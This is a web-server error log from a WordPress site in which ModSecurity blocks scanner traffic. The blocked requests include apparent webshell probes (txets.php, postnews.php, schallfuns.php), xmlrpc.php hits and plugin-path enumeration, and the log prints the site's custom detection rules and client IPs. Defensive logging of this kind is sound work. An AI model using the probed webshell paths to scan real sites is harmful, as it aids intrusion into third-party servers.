[Mon Feb 09 17:22:49.135291 2026] [autoindex:error] [pid 60677:tid 60731] [client 74.7.241.35:49378] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor-pro/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://gigfragments.org/contact/
[Mon Feb 09 17:30:13.836884 2026] [:error] [pid 60589:tid 60593] [client 213.145.78.195:40649] [client 213.145.78.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-event-solution/assets/js/elementor.js"] [unique_id "aYmpJTIJyhPWC0JyMLxqFAAAAcI"], referer: https://gigfragments.org/
[Mon Feb 09 17:30:13.843813 2026] [:error] [pid 60589:tid 60608] [client 213.145.78.195:52981] [client 213.145.78.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/uni-woo-custom-product-options-premium/readme.txt"] [unique_id "aYmpJTIJyhPWC0JyMLxqFQAAAdE"], referer: https://gigfragments.org/
[Mon Feb 09 17:30:14.089630 2026] [:error] [pid 18303:tid 18326] [client 213.145.78.195:38623] [client 213.145.78.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wc-designer-pro/changelog.txt"] [unique_id "aYmpJkY7TEaZkFrGG4mB0QAAARU"], referer: https://gigfragments.org/
[Mon Feb 09 17:30:15.642313 2026] [:error] [pid 18303:tid 18324] [client 213.145.78.195:43943] [client 213.145.78.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/branda-white-labeling/assets/js/vendor/ext-beautify.js"] [unique_id "aYmpJ0Y7TEaZkFrGG4mB1AAAARM"], referer: https://gigfragments.org/
[Mon Feb 09 17:30:23.570751 2026] [:error] [pid 60678:tid 60789] [client 213.145.78.195:42221] [client 213.145.78.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/em4u/style.css"] [unique_id "aYmpL-8Gd_fDFrcNu4OWIwAAAxg"], referer: https://gigfragments.org/
[Mon Feb 09 17:30:26.320941 2026] [:error] [pid 60678:tid 60788] [client 213.145.78.195:40627] [client 213.145.78.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/order-delivery-date/css/order-del-date.css"] [unique_id "aYmpMu8Gd_fDFrcNu4OWJwAAAxc"], referer: https://gigfragments.org/
[Mon Feb 09 17:30:38.680674 2026] [:error] [pid 47938:tid 47995] [client 213.145.78.195:34867] [client 213.145.78.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/user-verification/assets/admin/css/style.min.css"] [unique_id "aYmpPrVCzWE6fQJEkNIBowAAAFA"], referer: https://gigfragments.org/
[Mon Feb 09 17:30:39.434472 2026] [:error] [pid 47937:tid 47967] [client 213.145.78.195:44437] [client 213.145.78.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/cpi-wp-migration/lib/view/assets/css/updater.min.css"] [unique_id "aYmpP84Fd42MP2DhNrXOhQAAABU"], referer: https://gigfragments.org/
[Mon Feb 09 17:48:50.299197 2026] [:error] [pid 60679:tid 60768] [client 35.230.28.169:49342] [client 35.230.28.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.230.28.169, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYmtgsixhoT1e6Iv6g_NRAAAA1I"]
[Mon Feb 09 18:08:42.834460 2026] [:error] [pid 60508:tid 60524] [client 43.157.52.37:38318] [client 43.157.52.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aYmyKuXDvLC4ADfnEzO1EAAAAY4"]
[Mon Feb 09 20:17:16.021797 2026] [:error] [pid 60678:tid 60747] [client 104.28.160.81:18088] [client 104.28.160.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aYnQTO8Gd_fDFrcNu4OyIAAAAwg"]
[Mon Feb 09 21:42:56.922501 2026] [:error] [pid 60508:tid 60516] [client 88.198.14.6:53046] [client 88.198.14.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.198.14.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYnkYOXDvLC4ADfnEzPe5wAAAYY"]
[Mon Feb 09 21:43:06.601584 2026] [:error] [pid 47938:tid 47987] [client 27.118.26.5:54204] [client 27.118.26.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.118.26.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYnkarVCzWE6fQJEkNJGhgAAAEg"]
[Mon Feb 09 21:43:50.707674 2026] [:error] [pid 60619:tid 60661] [client 27.118.26.5:48306] [client 27.118.26.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.118.26.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYnklnEpg0UoeR8kJ-1XigAAAkw"]
[Mon Feb 09 22:50:06.587107 2026] [:error] [pid 47938:tid 47991] [client 49.51.203.164:60248] [client 49.51.203.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYn0HrVCzWE6fQJEkNJV8wAAAEw"]
[Mon Feb 09 23:43:21.810922 2026] [:error] [pid 60677:tid 60758] [client 157.15.40.93:55305] [client 157.15.40.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "aYoAmVyBgzfmDf6Gaesa8wAAAtM"]
[Mon Feb 09 23:43:25.704876 2026] [:error] [pid 60677:tid 60737] [client 157.15.40.93:55674] [client 157.15.40.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/txets.php"] [unique_id "aYoAnVyBgzfmDf6Gaesa-gAAAs0"]
[Mon Feb 09 23:43:27.391028 2026] [:error] [pid 18303:tid 18320] [client 157.15.40.93:55807] [client 157.15.40.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/txets.php"] [unique_id "aYoAn0Y7TEaZkFrGG4m8pQAAAQ8"]
[Mon Feb 09 23:43:27.872632 2026] [:error] [pid 18303:tid 18325] [client 157.15.40.93:55845] [client 157.15.40.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "aYoAn0Y7TEaZkFrGG4m8pwAAARQ"]
[Mon Feb 09 23:43:30.310828 2026] [:error] [pid 60589:tid 60607] [client 157.15.40.93:56016] [client 157.15.40.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/schallfuns.php"] [unique_id "aYoAojIJyhPWC0JyMLy2owAAAdA"]
[Mon Feb 09 23:43:31.624475 2026] [:error] [pid 60677:tid 60742] [client 157.15.40.93:56106] [client 157.15.40.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/postnews.php"] [unique_id "aYoAo1yBgzfmDf6GaesbGgAAAs8"]
[Mon Feb 09 23:43:33.704757 2026] [:error] [pid 60619:tid 60672] [client 157.15.40.93:56260] [client 157.15.40.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/postnews.php"] [unique_id "aYoApXEpg0UoeR8kJ-10sAAAAlY"]
[Mon Feb 09 23:43:37.699219 2026] [:error] [pid 60678:tid 60724] [client 157.15.40.93:56546] [client 157.15.40.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/postnews.php"] [unique_id "aYoAqe8Gd_fDFrcNu4PRSAAAAwE"]
[Mon Feb 09 23:43:39.676722 2026] [:error] [pid 60677:tid 60725] [client 157.15.40.93:56713] [client 157.15.40.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/postnews.php"] [unique_id "aYoAq1yBgzfmDf6GaesbLwAAAss"]
[Mon Feb 09 23:56:13.525813 2026] [:error] [pid 60619:tid 60653] [client 45.92.1.94:64772] [client 45.92.1.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aYoDnXEpg0UoeR8kJ-13pwAAAkk"]
[Mon Feb 09 23:56:14.027602 2026] [:error] [pid 60677:tid 60722] [client 45.92.1.94:64788] [client 45.92.1.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aYoDnlyBgzfmDf6GaeseIQAAAso"]
[Mon Feb 09 23:56:14.528503 2026] [:error] [pid 18303:tid 18320] [client 45.92.1.94:64807] [client 45.92.1.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aYoDnkY7TEaZkFrGG4m-ogAAAQ8"]
[Mon Feb 09 23:56:17.309352 2026] [:error] [pid 60679:tid 60769] [client 45.92.1.94:64989] [client 45.92.1.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "aYoDocixhoT1e6Iv6g8JRwAAA1M"]
[Tue Feb 10 00:01:08.042366 2026] [:error] [pid 60589:tid 60592] [client 158.181.50.47:52300] [client 158.181.50.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.181.50.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYoExDIJyhPWC0JyMLy5aAAAAcE"]
[Tue Feb 10 00:03:05.646450 2026] [:error] [pid 47938:tid 47992] [client 43.130.102.223:45750] [client 43.130.102.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aYoFObVCzWE6fQJEkNJnHwAAAE0"]
[Tue Feb 10 01:58:36.697705 2026] [:error] [pid 34045:tid 34099] [client 167.86.83.231:59944] [client 167.86.83.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/"] [unique_id "aYogTLYAPRwerv9YrkOWFgAAAFc"], referer: binance.com
[Tue Feb 10 01:59:02.173142 2026] [:error] [pid 34045:tid 34094] [client 43.162.112.12:36960] [client 43.162.112.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.162.112.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYogZrYAPRwerv9YrkOWLAAAAFI"]
[Tue Feb 10 01:59:10.570501 2026] [:error] [pid 34044:tid 34071] [client 88.198.14.6:49696] [client 88.198.14.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.198.14.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYogbnKt48XODNt-cM-EgAAAABc"]
[Tue Feb 10 01:59:22.792615 2026] [:error] [pid 14194:tid 14197] [client 103.218.123.187:42544] [client 103.218.123.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.218.123.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYogek9dsx8pYaYQoND14wAAAUE"]
[Tue Feb 10 02:01:11.076683 2026] [:error] [pid 14194:tid 14199] [client 178.33.162.49:41252] [client 178.33.162.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.162.49, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYog509dsx8pYaYQoND2kAAAAUM"]
[Tue Feb 10 03:17:27.582726 2026] [:error] [pid 14194:tid 14207] [client 167.235.6.174:46798] [client 167.235.6.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.235.6.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYoyx09dsx8pYaYQoNAYzgAAAUs"]
[Tue Feb 10 04:08:00.238332 2026] [:error] [pid 47937:tid 47951] [client 47.128.204.88:52074] [client 47.128.204.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.128.204.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYo-oMpqXpC2CvJ3fONgjQAAAMw"]
[Tue Feb 10 04:26:13.413775 2026] [:error] [pid 47837:tid 47902] [client 65.108.125.120:56132] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aYpC5XFY8KYFPX79Z4nC3gAAAII"]
[Tue Feb 10 04:26:15.490646 2026] [:error] [pid 47837:tid 47909] [client 65.108.125.120:56138] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aYpC53FY8KYFPX79Z4nC5AAAAIk"]
[Tue Feb 10 04:26:17.365288 2026] [:error] [pid 47831:tid 47873] [client 65.108.125.120:56142] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aYpC6SdxbZYarWVkiAAeEgAAAEA"]
[Tue Feb 10 04:26:19.263248 2026] [:error] [pid 47837:tid 47919] [client 65.108.125.120:45562] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aYpC63FY8KYFPX79Z4nC6wAAAJM"]
[Tue Feb 10 04:26:21.151782 2026] [:error] [pid 47831:tid 47882] [client 65.108.125.120:45572] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aYpC7SdxbZYarWVkiAAeIwAAAEk"]
[Tue Feb 10 04:26:23.175299 2026] [:error] [pid 47830:tid 47847] [client 65.108.125.120:45580] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aYpC70co45BZs8e301AWLAAAAAE"]
[Tue Feb 10 04:26:25.232466 2026] [:error] [pid 47837:tid 47923] [client 65.108.125.120:45586] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aYpC8XFY8KYFPX79Z4nDCAAAAJc"]
[Tue Feb 10 04:26:27.129761 2026] [:error] [pid 47830:tid 47848] [client 65.108.125.120:45592] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aYpC80co45BZs8e301AWMgAAAAI"]
[Tue Feb 10 04:26:29.171025 2026] [:error] [pid 47830:tid 47857] [client 65.108.125.120:55830] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aYpC9Uco45BZs8e301AWNgAAAAs"]
[Tue Feb 10 04:26:31.193902 2026] [:error] [pid 47830:tid 47845] [client 65.108.125.120:55836] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aYpC90co45BZs8e301AWOAAAAAA"]
[Tue Feb 10 04:26:33.078866 2026] [:error] [pid 47937:tid 47945] [client 65.108.125.120:55846] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aYpC-cpqXpC2CvJ3fONsVQAAAMY"]
[Tue Feb 10 04:26:35.091168 2026] [:error] [pid 47831:tid 47879] [client 65.108.125.120:55852] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aYpC-ydxbZYarWVkiAAeQwAAAEY"]
[Tue Feb 10 04:26:36.991992 2026] [:error] [pid 47831:tid 47896] [client 65.108.125.120:55868] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aYpC_CdxbZYarWVkiAAeRQAAAFc"]
[Tue Feb 10 04:26:39.029279 2026] [:error] [pid 47831:tid 47875] [client 65.108.125.120:62728] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aYpC_ydxbZYarWVkiAAeSQAAAEI"]
[Tue Feb 10 04:26:41.060826 2026] [:error] [pid 47937:tid 47956] [client 65.108.125.120:62744] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aYpDAcpqXpC2CvJ3fONsbgAAANE"]
